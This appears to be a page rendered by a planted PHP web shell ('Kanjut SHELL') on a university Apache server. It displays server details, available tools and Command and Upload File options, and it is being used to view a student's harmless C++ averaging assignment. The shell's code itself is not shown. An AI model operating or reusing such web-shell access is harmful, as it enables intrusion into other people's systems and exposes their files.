Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.128.31.76
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/jdgoode/../kebuck/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jdgoode/../kebuck/hw6.cpp
//	CS112	Computer Programming	Assignment 6
//
//	File: hw6.cpp
//	Author: Katie Buck
//	Instructor: Dr. Wang
//
//	Compile: g++ hw6.cpp
//	Run: ./a.out < in6.txt
//
//	Goal: The Goal of the program is to write a program that
//	 will read a file with 100 integers, calculate the average 
//	value for the positive and that of the negatives, and output
//	the results in one decimal place to the monitor.
//

#include <iostream>
#include <iomanip>

using namespace std;

int main()
{
	cout << fixed << showpoint << setprecision(1);

	int data;
	int positivesum = 0;
	int negativesum = 0;
	int counter_positive = 0;
	int counter_negative = 0;

	cin >> data;
	while(cin)
	{	if ( data >= 0)
		{	positivesum += data;
			counter_positive ++;
		}

		else if ( data < 0)
		{
			negativesum += data;
			counter_negative ++;
		}	
			cin >> data;
	}

	cout << "Average of the positive numbers is " << 
float(positivesum)/counter_positive << "\n\n";

	cout << "Average of the negative numbers is " << 
float(negativesum) / counter_negative << "\n\n";


	return 0;
}

Stv3n404 - 2023